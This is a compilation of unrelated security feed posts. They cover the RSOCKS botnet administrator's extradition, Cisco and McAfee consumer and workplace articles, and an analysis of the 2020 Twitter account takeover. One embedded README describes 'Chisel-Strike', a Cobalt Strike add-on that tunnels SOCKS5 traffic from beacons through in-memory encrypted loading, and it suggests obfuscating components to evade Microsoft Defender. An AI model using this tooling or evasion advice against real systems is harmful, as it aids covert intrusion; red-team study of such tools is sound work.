Launched in 2013, RSOCKS was shut down in June 2022 as part of an international investigation into the cybercrime service. According to the Justice Department, the RSOCKS botnet initially targeted Internet of Things (IoT) devices, including industrial control systems, time clocks, routers, audio/video streaming devices, and smart garage door openers; later in its existence, the RSOCKS botnet expanded into compromising additional types of devices, including Android devices and conventional computers, the DOJ said.
The Justice Department’s June 2022 statement about that takedown cited a search warrant from the U.S. Attorney’s Office for the Southern District of California, which also was named by Bulgarian news outlets this month as the source of Kloster’s arrest warrant.
When asked about the existence of an arrest warrant or criminal charges against Kloster, a spokesperson for the Southern District said, “no comment.”
Update, Sept. 24, 9:00 a.m. ET: Kloster was named in a 2019 indictment (PDF) unsealed Sept. 23 by the Southern District court.
The employees who kept things running for RSOCKS, circa 2016. Notice that nobody seems to be wearing shoes.
24Chasa said the defendant’s surname is Emelyantsev and that he only recently adopted the last name Kloster, which is his mother’s maiden name.
As KrebsOnSecurity reported in June, Kloster also appears to be a major player in the Russian email spam industry. In several private exchanges on cybercrime forums, the RSOCKS administrator claimed ownership of the RUSdot spam forum. RUSdot is the successor forum to Spamdot, a far more secretive and restricted forum where most of the world’s top spammers, virus writers and cybercriminals collaborated for years before the community’s implosion in 2010.
Email spam — and in particular malicious email sent via compromised computers — is still one of the biggest sources of malware infections that lead to data breaches and ransomware attacks. So it stands to reason that as administrator of Russia’s most well-known forum for spammers, the defendant in this case probably knows quite a bit about other top players in the botnet spam and malware community.
A Google-translated version of the Rusdot spam forum.
Despite maintaining his innocence, Kloster reportedly told the Bulgarian judge that he could be useful to American investigators.
“America is looking for me because I have enormous information and they need it,” Kloster told the court, according to 24Chasa. “That’s why they want me.”
The Bulgarian court agreed, and granted his extradition. Kloster’s fiancee also attended the extradition hearing, and reportedly wept in the hall outside the entire time.
Kloster turned 36 while awaiting his extradition hearing, and may soon be facing charges that carry punishments of up to 20 years in prison.
The hybrid work environment has been around for years, albeit not common but it existed. I can recall my first job where I was able to split my time working in an office and working from my makeshift home office. This was many moons ago as I will call it… pre-COVID-19.
Job seekers are certainly looking to have the flexibility of working from anywhere at any time – preferably in an environment of their choosing. Even though a hybrid workforce will provide people with the option to work from anywhere, those remote locations are sometimes in unsecured locations. Organizations must now reimagine a workforce that will need access to your internal collaboration tools along with access to your network from both on- and off-premises.
Cisco, a leader in equipping organizations with the right products for a hybrid workforce, provides the tools & services to protect your organization from bad threat actors.
With pervasive ransomware attacks, malware attacks, and email attacks, you must be ready and have not only a security solution but also a security analyst team ready to respond when an attack happens.
Securing access to your endpoint must be a top priority and your security analysts must be agile and have the right telemetry to provide around-the-clock monitoring and the ability to quickly respond to threats.
Cisco Secure Endpoint provides you with the visibility and ability to respond to threats by blocking them before they compromise your network. Combined with global, proactive threat hunting, leading-edge forensic/analytic capabilities, and reduced leading Mean Time To Detection (MTTD)/Mean Time To Resolution (MTTR) across the supply chain that no other vendor can parallel; why would you partner with any other company to secure and scale your unique hybrid workforce or workplace clients?
Click here to listen to my fireside chat on how we at Cisco would define 5 Best Practices Security Analysts Can Use to Secure Their Hybrid Workforce:
I am joined by Cisco Talos global Senior Threat Defense and Response Analyst, William (Bill) Largent who has over 20 plus years of infosec experience, specifically in network intrusion detection, traffic analysis, and signature/rule writing.
I will also be speaking with Eric Howard, Cisco Secure Technical Marketing Engineer Leader for the Security Platform and Response Group. Eric is a seasoned team leader in both Information Security Sales, and Product Management. He has built and led teams that apply deep technical understanding to business needs, initiatives, and strategies in both start-ups and established companies.
This is a conversation you do not want to skip! There were a lot of gems shared by these gentlemen that will get you where you need to be as a Security Analyst.
We’d love to hear what you think. Ask a Question, Comment Below, and Stay Connected with Cisco Secure on social!
Cisco Secure Social Channels
Wouldn’t it be nice if, along with grades for English, Science, and Algebra this year, our child’s report card included quarterly feedback on their mental health?
Recently, actor Tom Holland of Spider-Man fame reported on his mental health publicly by deleting several of his social media accounts. The actor stated that his social media accounts had become “detrimental” to his mental state and that he “spirals” when he reads things about himself online. He used words like “overstimulating” and “overwhelming.”
And parents were likely “overjoyed” giving cyber high fives all around with Holland’s transparency in talking so publicly about social media’s link to mental health. Because if you are a parent you know.
As we head into a new school year with high hopes in tow, Holland’s decision also challenges us to pay closer attention to how social media could potentially impact our kids’ mental health.
Every child’s maturity and cognitive ability to handle online challenges will differ, so a one-size-fits-all digital wellbeing plan isn’t likely to work. Here are a few insights and tips that may be helpful as you shape the method that works for your family.
Explore healthy social media limits.
Any way you slice it, many unknowns come with every new school year, especially if you have tweens or teens. Social media adds a layer of complexity to those unknowns. However, with some forethought and follow-through, you can navigate those risks one day at a time.
The post Back-to-School: Balancing Social Media & Mental Health appeared first on McAfee Blog.
Self-awareness goes a long way in determining your next professional steps. While job searching, it’s critical to identify how to leverage your transferable skills and network, while also evaluating what environmental factors of work and work culture matter to you most. Learn what it’s like to work at Cisco and the top 10 ways to suss out a workplace that suits your needs from leaders at Cisco Secure, Cisco Talos and Duo Security.
First things first. Emily Reid, the newly appointed director of employee experience at Cisco Secure who came from Duo Security, advises, “Do your own research to see how the company and their employees describe the culture publicly — on the company’s website and through other sites, articles and resources. For tech companies specifically I always think, “What else do you have beyond the ping-pong table?”’
The interview process is the next key opportunity to find out what culture is like beyond amenities. To gain multiple perspectives, Reid recommends asking about company culture in every interview you have.
The question at the top of Reid’s list: Do you have programs and resources to support the development and success of your employees? “I want to know how a company will be investing in my career growth and if I will feel welcome and included as part of the team. Seeing what a company chooses to center and highlight when describing their culture is usually very telling,” she said.
Interning at a company is another way to get firsthand knowledge and can lead to full-time employment. “several former interns are now people leaders managing their own teams — and their own interns — coming full circle,” Reid said.
Knowing that there is safety and support in bringing your whole self to work is vital. What policies, programs and initiatives are in place that demonstrate an organization’s commitment to diversity, equity, inclusion and belonging?
Cisco’s ongoing commitments to social justice and pay parity include twelve action steps as part of Cisco’s Social Justice Blueprint. Cultivating a conscious culture includes on-going dialogue, programs and events meant to increase equality. Employee Resource Organizations and mentorship programs provide more opportunities to build community and share knowledge, resources and advocacy.
What environment allows you to do your best work? Also consider what perks and processes an employer offers to enhance flexibility and adaptability. During the pandemic, Duo and Cisco transitioned all global events, training and professional development workshops to fully virtual. As in person options resumed following the pandemic, all events are designed to ensure an inclusive experience no matter where you’re joining from.
“We don’t want to go back to a world where people not based in an office feel like they are getting a lesser experience,” Reid said.
Considering how to make programs and information accessible to employees regardless of where they work is also important to Sammi Seaman, team lead of employee experience at Cisco Talos. She’s currently spearheading a new hire program that is “more inclusive of folks whether they’re office based, remote or somewhere across the world.”
It’s essential to consider how you want your life and work to intersect, particularly as hybrid work becomes more popular. How important is paid time off, flexible work options or a consistent structure?
Cisco Secure offers “Days for Me,” days off for employees to decompress and do something to fill their cups. Monthly “Focus Days” are days without meetings, so employees can prioritize the projects that need attention.
Curran recalls one candidate who, despite multiple offers from competitors, chose Cisco Secure because of the flexible work environment: “This person has a young child and felt that the “Days for Me” and flexibility to work from home in a hybrid situation would work best for his career long-term.”
As Reid’s team helps lead the transition to hybrid work, the book Out of Office: The Big Problem and Bigger Promise of Working From Home by Charlie Warzel and Anne Helen Petersen has been inspiring. The book “does an amazing job of sharing a vision for an inclusive future that empowers employees to be successful and have a ‘work/life balance’ that truly works,” Reid said.
Currently Cisco Secure offers a hybrid model while many employees still work remotely. In terms of maintaining accessibility through this transition, Marketing Specialist Julie Kramer advocated for more accessibility and saw changes at Cisco as a result.
“Webex pre-COVID didn’t have any closed captioning. So, another deaf person and I reached out and closed captioning and the transcript option got added,” Kramer shared.
Kramer prefers to have high-quality and frequently the same interpreters who “know the terminology for my job, marketing and technology. In business, the security and marketing industry can really talk fast, so you need a high-quality interpreter that can keep up and one that is qualified and certified,” she said.
Consider what pace of your specific role and within an industry is needed for you to feel engaged without overwhelmed. While different roles within the same organization and industry may run at different paces, it’s important to tune into what might be expected on your potential new team.
Seaman finds that the fast pace of cybersecurity can be “delightful and challenging. There’s a lot of fast-paced pivoting that happens, which makes for an interesting workplace because two days are never the same,” she said.
Do you prefer a hierarchical structure, or one that is more flat? Are you most effective and fulfilled riding solo, or while consistently connecting with coworkers? Does contributing your ideas make you feel empowered?
At Cisco Secure, there is space to join conversations. “No matter where you sit in the company, you have a voice and can speak up and collaborate and self-organize on a project. It feels like a bunch of really hard working, humble, smart people who are trying to solve problems together,” said Manager of Duo’s Global Knowledge and Communities Team Kelly Davenport.
To enhance communication and knowledge among distributed teams, Seaman started a dialogue series called “The More You Know.” Questions include: What do you do? How do you do it? How can that help other parts of Cisco Talos? The conversations lead to future collaboration and resource sharing.
Do you want to grow professionally and increase your skills and knowledge? A culture of teaching and learning within an organization can help hone and expand your skills and connections.
Lead of Strategic Business Intelligence Ashlee Benge finds the security world “very dynamic. You really can never stop learning. Within Cisco Talos, the people around me are such smart, dedicated people that there’s really a lot that you can gain from just being involved in the group as a whole.”
For Seaman, who didn’t come from a technical background, Cisco Talos offered opportunities to expand her technical knowledge, including from colleagues. “Coming into Cisco Talos, people are like, “Here, let me teach you. You can totally do this. Just because you didn’t know how to do it doesn’t mean you can’t learn. Let’s go,” Seaman shared. Seaman’s colleagues have also learned from her expertise in information and knowledge management given her background as a librarian.
More formally, the Learning and Development team recently launched a comprehensive talent development program with enablement resources and support for people leaders. Aspects include: “really thoughtful templates for employees to use with their manager to talk through career goals, development areas, and to define an actionable investment plan. These resources are fueling great career conversations, strong alignment, and thoughtful development plans,” Reid said.
Do you want to refine your skills within your wheelhouse? Or are you driven to try new tasks and potentially change roles within your next organization?
Benge, whose background is in computational astrophysics, has found her interests shift from technical security research to business strategy and data science. At Cisco Talos, she’s been involved in everything from detection research and threat hunting, to community outreach, conference talks and traveling to support sales engagements. Currently, she’s helping to lead threat hunting in Ukraine.
“My leaders have always made it very clear that if there’s an interest, it’s okay to pursue it and it doesn’t have to necessarily be within the scope of my role. Having that freedom to pursue interests within the industry has been really engaging,” Benge said.
In addition to company values and mission statements, leaders and employees contribute to an organization’s culture every day. If you want to enhance your company’s culture, participate.
“Feedback on what employees want to see is crucial,” Reid said. “The easiest way to contribute to developing culture and a positive employee experience in your workplace is to add to what’s already happening! Culture takes participation and ownership from all employees.”
Reid shared that in performance reviews at Cisco, “‘Team Impact” is equally as important as “Results.” Contributing positively to company culture should contribute to performance reviews and promotion justification,” she said.
To learn more about Cisco’s company culture and how you can contribute to it, check out our open roles.
We’d love to hear what you think. Ask a Question, Comment Below, and Stay Connected with Cisco Secure on social!
Cisco Secure Social Channels
“Congratulations, you’re a winner!”
“Did you know this public figure is trying to make your life worse? Click here for what they don’t want you to know.”
“Save thousands today with just one click!”
Spam and bot accounts on social media are everywhere. You’ve likely encountered messages like these that attempt to get you to click on links or to stir your emotions in a frenzy. While bot accounts are usually more of an annoyance than anything, when they’re allowed to run rampant, they can quickly become dangerous to your personally identifiable information (PII) and create an emotionally charged mob mentality.
Here’s what you should know about bot accounts, including how to steer clear of menacing ones, plus a reminder to watch what you share on (and with) social media sites.
Bot accounts are software-automated accounts that try to blend in and act like a real user. They post updates and follow other users, though there isn’t a real person behind the account. A spam account is a type of bot account that attempts to gain financially from its automated posts. Everyday people should be wary of social media bot accounts because they can be used to disseminate false information or phishing scams.
One whistleblower of a social media giant recently divulged that the platform isn’t prioritizing deactivating bot accounts.1 This apathy sparks concerns about the company’s commitment to the security of its users. In the whistleblower’s same report, he stated that the social media site isn’t taking the necessary steps to protect itself from potential inside threats and it had fallen victim to at least 20 breaches in 2020 without reporting the incidents to the proper authorities.
Some bot accounts aren’t malicious (merely an annoying tactic by companies to spread the word about their business), but it’s best to give all of them a wide berth and never click on any links in their posts. Those links could direct to unsecured outside sites laden with malware or drop you in the middle of a phishing scheme.
You can often spot a malicious bot account by the tone of its messages. They’ll often try to inspire intense emotions, such as excitement, sadness, or rage, and attempt to get users to act or share the post. Do not engage with them, not even to argue their points. When you engage or share these posts with your network, it spreads false information and could dangerously manipulate public opinion.2
Here are a few ways you can take your cybersecurity into your own hands when you can’t be sure that social media sites are looking out for the safety of users’ information:
You can’t trust every company to look out for the safety of your personal information, but one organization you can trust is McAfee. McAfee Total Protection is a comprehensive identity and privacy protection solution for your digital life. Great social media habits go a long way toward keeping you safe online, and you can rest assured knowing that McAfee can fill in the gaps. McAfee Total Protection offers antivirus, identity monitoring, and security freeze in the case your information is leaked in a breach or a bot account gets ahold of key details.
Keep on sharing your life’s milestones with your closest friends and family online. The next time you update your status, flag any suspicious accounts you come across, so everyone can enjoy social media confidently!
1NBC News, “Twitter whistleblower alleges major security issues”
2Journal of Information Technology & Politics, “Harass, mislead & polarize: An analysis of Twitter political bots’ tactics in targeting the immigration debate before the 2018 U.S. midterm election”
The post Here’s How to Steer Clear of Bot Accounts on Social Media appeared first on McAfee Blog.
LinkedIn privacy settings are just as overwhelming as any other social media settings. There’s a lot of menus, a lot buttons to enable, select, accept or reject. To make sure you have control over your information we bring you a step-by-step guide on how to enjoy LinkedIn safely.
The post A step‑by‑step guide to enjoying LinkedIn safely appeared first on WeLiveSecurity
A .NET XOR encrypted cobalt strike aggressor implementation for chisel to utilize faster proxy and advanced socks5 capabilities.
In my experience I found socks4/socks4a proxies quite slow in comparison to its socks5 counterparts and a lack of implementation of socks5 in most C2 frameworks. There is a C# wrapper around the go version of chisel called SharpChisel. This wrapper has a few issues and isn't maintained to the latest version of chisel. It didn’t allow using shellcode with donut, reflectio n methods or execute-assembly. I found a fix for this using the SharpChisel-NG project.
Since the SharpChisel assembly is around 16.7 MB, execute-assembly(has a hidden size limitation of 1 MB) and similar in memory methods wouldn’t work. To maintain most of the execution in memory I incorporated the NetLoader project by Flangvik which is executed via execute-assembly to reflectively host and load a XOR encrypted version of SharpChisel with base64 arguments in memory.
As an alternative, it is also possible to implement similar C# proxies like SharpSocks by replacing the appropriate chisel binaries in the project.
Note: If using a Windows teamserver skip steps 2 and 3.
Clone/download the repository: git clone https://github.com/m3rcer/Chisel-Strike.git
Make all binaries executable:
cd Chisel-Strike
chmod +x -R chisel-modules
chmod +x -R tools
Mingw-w64 and mono:sudo apt-get install mingw-w64
sudo apt install mono-complete
ChiselStrike.cna in cobalt strike using the Script Manager
Recompile binaries from the src folder if needed.
chisel can be executed on both the teamserver (windows/linux) and the beacon. With either acting as the server/client. A normal execution flow would be to setup a chisel server on the teamserver and create a client on the beacon connecting back to the teamserver.
chisel <client/server> <command>: Run Chisel on a beacon
chisel-tms <client/server> <command>: Run Chisel on your teamserver
chisel-enc: XOR Encrypt SharpChisel.exe with a password of choice
chisel-jobs: List active chisel jobs on the teamserver and beacon
chisel-kill: Kill active chisel jobs on a beacon
chisel-tms-kill: Kill active chisel jobs on teamserver
NetLoader can easily be obfuscated and used to bypass defender using projects like NimCrypt2 and the like.
Yet SharpChisel.exe drops a dll on disk due to the use of Costura/Fody packages at a location similar to: C:\Users\m3rcer\AppData\Local\Temp\Costura\CB9433C24E75EC539BF34CD1AA12B236\64\main.dll which is detected by defender. It is advised to obfuscate chisel dll's using projects like gobfuscate in the SharpChisel-NG project and re-build new SharpChisel-NG binaries as shown here.
Figure a way to avoid SharpChisel dropping main.dll on disk / Create a new C# wrapper for chisel.
Create a method to parse command output for the chisel-tms command.
shantanu561993 for the C# wrapper implementation of chisel: SharpChisel
latortuga71 for the load-assembly fix: SharpChisel-NG
Whether using the internet for play or work, you want to spend your time online enjoying the peace of mind that comes with having a secure network.
You don’t want to contend with someone taking your personal data — whether it’s credit card information, passwords, or bank account details — via malware or a data breach on your Android, Windows, or Apple iOS device.
Fortunately, with some sensible precautions and simple steps, you can use your connected devices productively without worrying about cybercriminals and malicious software. This article explains how to stop hackers from getting access to your sensitive data.
You can take steps to protect your different computing and mobile devices and operating systems. These steps can be divided into technological solutions and the right awareness and information to provide a comforting measure of self-protection.
It’s like learning karate for self-defense, giving you confidence as you negotiate the wider world (and hoping that you never have to use it).
When it comes to identity protection software, McAfee provides a proven solution with our identity protection and privacy services. The protection includes alerts if your sensitive information is found on the dark web (up to 10 months sooner than other providers), personal data cleanup from sites gathering and selling your information, and an unlimited virtual public network (VPN) service that protects your privacy as you use public Wi-Fi networks.
You’ll also get up to $1 million in identity theft coverage and hands-on restoration support to help you reclaim your identity.
Simple, obvious passwords and passcodes (like your street address, your birthday, your kids’ or pets’ names, or “1234” or “abcd”) are easy for cybercriminals to crack, giving them unwanted access to your private data.
The stronger your password, the better your protection. Some best password practices include:
It’s important not to be a standing target. Just as you should use different passwords for everything, you should regularly change your passwords. You should do this a few times a year (although some cyber experts say this might not be necessary if you have a long and very complicated password).
If you have a number of passwords that you update often, it might be worth getting a password manager like McAfee True Key to keep track of them. Not only will you not be faced with remembering all your different passwords or writing them down (also a no-no), but it can also help you create and store unique passwords.
The software uses the strongest encryption algorithms available to protect your passwords, scrambling them so no one else can access them. It’ll also suggest new passwords and automatically log you into your online accounts with just one master password.
Another important line of defense is multi-factor authentication (sometimes known as two-factor authentication). This system uses a password and a second piece of verification — often an SMS message sent to your Android device or iPhone — to authenticate your identity.
This provides hard-to-beat protection even if a hacker has your password. Besides receiving SMS codes, there are also code-generating apps and physical security keys.
Thinking before you click on an email or text is a very important defense against phishing scams. Your bank won’t send you an email or text notifying you that there’s been suspicious activity on your account.
Does getting a large refund from your phone company sound too good to be true? It is. Similarly, the Internal Revenue Service (IRS) won’t text to tell you that you owe them money, and princes aren’t going to give you a fortune out of the blue.
Internet users beware: If you’re not absolutely certain that the text message you received is from a legitimate and trusted source, delete it. You can always contact the business or person directly to confirm that the message is legit.
Any operating system or app you use is open to malicious cyberattacks. This is why you should keep all your software up to date with the latest versions. Software developers are continually fixing holes in their products and offering cybersecurity patches to make them as safe and hacker-proof as possible.
Make sure your software, firmware, and security settings are up to date on your home’s Wi-Fi router, as well. You can often change your settings to allow for automatic updates.
Sure, who doesn’t like to go to a cafe, library, or hotel lobby to use the free Wi-Fi? But security is often weak in these public networks. If you open your online banking account or access personal information, you may unwittingly be giving a personal invitation to eavesdropping cybercriminals.
This is where the bank-grade level of protection of McAfee Secure VPN comes in, which automatically turns on when you need it and keeps you safe on public Wi-Fi networks.
Even if your device does get hacked, you can protect vital information on your Windows or macOS system with an encryption program like BitLocker or FileVault. You can protect any hard drive you use, including portable ones and USB keys.
It’s also a good idea to only shop at encrypted websites marked with the prefix “HTTPS” in their URLs.
One of the best ways to surf the web in comfort while keeping hackers at bay is with the comprehensive solutions provided by McAfee Total Protection.
Your protection includes proactive measures (meaning we’ll guide you to the best choices for prevention), early detection, and expert identity theft support.
This means you’ll get identity monitoring, up to $1 million in identity theft coverage, lost wallet protection, premium antivirus software, a secure VPN, and personal data removal. In particular, our Personal Data Cleanup service will help find and remove your personal information from data broker websites and people search sites.
With McAfee, you don’t have to be afraid of hackers. Let us deal with them.
The post How to Stay One Step Ahead of Hackers appeared first on McAfee Blog.
Your digital footprint grows with every internet account you make. While your old Tumblr account may be fun for reminiscing, dormant accounts are actually one of the most significant sources of user data on the internet. These accounts can be used by data brokers or third parties to access your personal information.
To improve your data security, it’s good practice to remove public-facing information by deleting unused accounts. Simply put, having less personal data stored on the internet reduces the risk of theft and/or non-consensual data usage.
Deleting, canceling, unsubscribing, or removing your account can be a long process, depending on the service. This article will walk you through the simplest ways to delete unwanted accounts from various social media platforms.
Deleting unwanted accounts protects your information and prevents the monetization of your data. Your internet accounts often hold personal information like your name, age, email, or home address. What’s more alarming is that some platforms may even have credit card details, phone numbers, and bank account information.
When left unattended, internet accounts become vulnerable to being suspended or taken over by the platform. This means that if your accounts are left inactive for too long, you might be handing some or all of your data over to the tech platform.
For example, even if you believe an old Google account doesn’t have any sensitive information stored, it may be linked to other platforms you use (like Amazon or Google services like Gmail and Google Play). This exposes all of these accounts to several data privacy vulnerabilities.
Moreover, a recent survey found that 70% of surveyed adults admitted using the same password for more than one service. People who don’t use password managers or reuse passwords are at a greater security risk than others, as multiple accounts can become compromised at once. Whether the platform is now out of service or you are cutting down on your app usage, deleting dormant accounts will minimize security threats and safeguard your data.
Every platform has a different process for deleting accounts: Some take only a few clicks to complete and others are a little longer. Companies usually don’t want a user to stop using their services, so account deletion pages are often hidden in a complex web of tabs that you have to navigate.
In addition, some subscription services might require that you send an email to customer support to close your account. You can go to justdelete.me, an online directory that lets you access direct links to account deletion pages of various web services.
Remember to download your personal information and data before pulling the plug on your account. Most platforms let you download your data before initiating a deletion request, which saves you from losing important details and files. It is also important to check whether your Google account is used for your YouTube channel or connected to other online accounts.
To help you get rid of accounts you no longer use, we’ve broken down deleting accounts from some of the most popular social networks. The steps described below are for a desktop browser and may not apply to Android or iOS devices (unless specified).
Facebook’s user privacy policy enables it to store a large amount of user information, including personal messages, posts, search history, name, age, birthdate, and even metadata from posted photos and videos.
Follow these simple steps to delete your Facebook account:
LinkedIn collects information on users and uses it for targeted advertising. As a result, it amasses quite a lot of your data, from professional details to personal preferences and even your online behavior trail.
Follow these simple steps from your desktop to delete your account:
It’s simple to delete your Twitter account, but you’ll have to wait 30 days for your data and tweets to clear. To delete your account, you first need to deactivate it.
Once you’ve decided to delete your account from the micro-blogging site, follow these steps from your desktop:
Remember to revoke third-party access to your Twitter account to avoid having your account reactivated in the 30 days following deactivation.
Since Facebook and Instagram are both owned by Meta, they share a lot of data for targeted advertising. You can adjust the privacy settings of your Instagram account from the mobile app, but you will need to log in from a web browser like Chrome to delete your account.
To delete your Instagram account:
Your information and data will be permanently deleted after 30 days and you won’t be able to retrieve it. However, completing a deletion process may take up to 90 days.
Tumblr has a fairly simple process to delete your account:
Follow these steps to delete your account from the popular picture-sharing platform:
Pinterest servers continue to store your data after deletion, but your information won’t be visible to other users.
There are different steps to deleting your email account depending on which email service you use. Backing up email data usually takes more time because of the sheer volume of data a mail account can hold.
Complete the following steps to delete your Google account:
Here’s what you need to do to delete your Yahoo email account:
Deleting your Yahoo account also deletes the linked information from Yahoo’s other services.
Follow these steps to delete your Microsoft account on Outlook 2010, 2013, or 2016:
Leaving old information scattered across the internet makes you susceptible to identity theft. There are multiple ways to keep your identity and data secure online, including McAfee’s Total Protection plan.
Total Protection lets you choose from multiple affordable subscription models that provide comprehensive security against identity theft and potential data breaches and offers web protection and several related benefits. In addition, having access to 24/7 online security experts and a 30-day money-back guarantee make the Total Protection plan an easy, reliable, and safe choice. You can also have peace of mind with McAfee’s Personal Data Cleanup feature where our teams will work to find your personal information online and assist in removing it.
The post How to Delete Old Accounts Containing Personal Information appeared first on McAfee Blog.
It started with one weird tweet. Then another. Quickly, some of the most prominent accounts on Twitter were all sending out the same message;
I am giving back to the community.
All Bitcoin sent to the address below will be sent back double! If you send $1,000, I will send back $2,000. Only doing this for 30 minutes.
[- BITCOIN WALLET ADDRESS -]
Are Apple, Elon Musk, Barrack Obama, Uber, Joe Biden, and a host of others participating in a very transparent bitcoin scheme?
No. Of course, not. The question was whether or not individual accounts were compromised or if something deeper was going on.
User Account Protection
These high profile accounts are prime targets for cybercriminals. They have a broad reach, and even a brief compromise of one of these accounts would significantly increase a hacker’s reputation in the underground.
That is why these accounts leverage the protections made available by Twitter in order to keep their accounts safe.
This means;
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While it’s believed that one or two of these accounts failed to take these measures, it’s highly unlikely that dozens and dozens of them did. So what happened?
Rumours Swirl
As with any public attack, the Twitter-verse (ironically) was abuzz with speculation. That speculation ramped up when Twitter took the reasonable step of preventing any verified account from tweeting for about three hours.
This step helped prevent any additional scam tweets from being published and further raised the profile of this attack.
While some might shy away from raising the profile of an attack, this was a reasonable trade-off to prevent further damage to affected accounts and to help prevent the attack from taking more ground.
This move also provided a hint as to what was going on. If individual accounts were being attacked, it’s unlikely that this type of movement would’ve done much to prevent the attacker from gaining access. However, if the attacker was accessing a backend system, this mitigation would be effective.
Had Twitter itself been hacked?
Occam’s Razor
When imagining attack scenarios, a direct breach of the main service is a scenario that is often examined in-depth, which is also why it is one of the most planned for scenarios.
Twitter — like any company — has challenges with its systems, but they center primarily around content moderation…their backend security is top-notch.
An example of this an incident in 2018. Twitter engineers made a mistake that meant anyone’s password could have been exposed in their internal logs. Just in case, Twitter urged everyone to reset their password.
While possible, it’s unlikely that Twitter’s backend systems were directly breached. There is a much simpler potential explanation: insider access.
Internal Screenshot
Quickly after the attack, some in the security community noticed a screenshot of an internal support tool from Twitter surfacing in underground discussion forums. This rare inside view showed what appeared to be what a Twitter support team member would see.
This type of access is dangerous. Very dangerous.
Joseph Cox’s article detailing the hack has a key quote,
“We used a rep that literally done all the work for us.”
Anonymous Source
What remains unclear is whether this is a case of social engineering (tricking a privileged insider into taking action) or a malicious insider (someone internally motivated to attack the system).
The difference is important for other defenders out there.
The investigation is ongoing, and Twitter continues to provide updates via @TwitterSupport;
Our investigation is still ongoing but here’s what we know so far:
— Twitter Support (@TwitterSupport) July 16, 2020
Social Engineering
Donnie Sullivan from CNN has a fantastic interview with the legendary Rachel Tobac showing how simple social engineering can be and the dangerous impact it can have;
What is “social engineering,” you ask? @RachelTobac showed me. pic.twitter.com/TAw7FB1QPQ
— Donie O'Sullivan (@donie) July 16, 2020
If this attack was conducted through social engineering, the security team at Twitter would need to implement additional processes and controls to ensure that it doesn’t happen again.
Such a situation is what your team also needs to look at. While password resets, account closures, data transfers, and other critical processes are at particular risk of social engineering, financial transactions are atop the cybercriminal’s target list.
BEC—business email compromise—attacks accounted for USD 1.7 billion in losses in 2019 alone.
Adding additional side-channel confirmations, additional steps for verifications, firm and clear approvals and other process steps can help organizations mitigate these types of social engineering attacks.
Malicious Insider
If the attack turns out to be from a malicious insider. Defenders need to take a different approach.
Malicious insiders are both a security problem and human resource one.
From the security perspective, two key principles help mitigate the potential of these attacks;
Making sure that individuals only have the technical access needed to complete their assigned tasks, and only that access is key to limiting this potential attack. Combined with the smart separation of duties (one person to request a change, another to approval it), this significantly reduces the possibility of these attacks causing harm.
The other—and not often spoken of—side of these attacks is the reason behind the malicious intent. Some people are just malicious, and when presented with an opportunity, they will take it.
Other times, it’s an employee that feels neglected, passed over, or is disgruntled in some other way. A strong internal community, regular communication, and a strong HR program can help address these issues before they escalate to the point where aiding a cybercriminal becomes an enticing choice.
Support Risks
Underlying this whole situation is a more challenging issue; the level of access that support has to any given system.
It’s easy to think of a Twitter account as “yours.” It’s not. It’s part of a system run by a company that needs to monitor the health of the system, respond to support issues, and aid law enforcement when legally required.
All of these requirements necessitate a level of access that most don’t think about.
How often are you sharing sensitive information via direct message? Those messages are most likely accessible by support.
What’s to prevent them from accessing any given account or message at any time? We don’t know.
Hopefully, Twitter—and others—have clear guardrails (technical and policy-based) in place to prevent abuse of support access, and they regularly audit them.
It’s a hard balance to strike. User trust is at stake but also the viability of running a service.
Clear, transparent policies and controls are the keys to success here.
Abuse can be internal or external. Support teams typically have privileged access but are also among the lowest paid in the organization. Support—outside of the SRE community—is usually seen as entry-level.
These teams have highly sensitive access, and when things go south, can do a lot of harm. Again, the principles of least privilege, separation of duties, and a strong set of policies can help.
What’s Next?
In the coming days, more details of the attack will surface. In the meantime, the community is still struggling to reconcile the level of access gained and how it was used.
Getting access to some of the world’s most prominent accounts and then conducting a bitcoin scam? Based on the bitcoin transactions, it appears the cybercriminals made off with a little over USD 100,000. Not insignificant, but surely there were other opportunities?
Occam’s razor can help here again. Bitcoin scams and coin miners are the most direct method fo cybercriminals to capitalized on their efforts. Given the high profile nature of the attack, the time before the discovery was always going to be sure. This may have been the “safest” bet for the criminal(s) to profit from this hack.
In the end, it’s a lesson for users of social networks and other services; even if you take all of the reasonable security precautions, you are relying on the service itself to help protect you. That might not always hold true.
It’s a harsh reminder that the very tooling you put in place to run your service may be its biggest risk for service providers and defenders…a risk that’s often overlooked and underestimated.
In the end, Marques Brownlee sums it up succinctly;
Don't send Bitcoin to strangers.
— Marques Brownlee (@MKBHD) July 15, 2020
What do you think of this entire episode? Let’s talk about it—un-ironically—on Twitter, where I’m @marknca.
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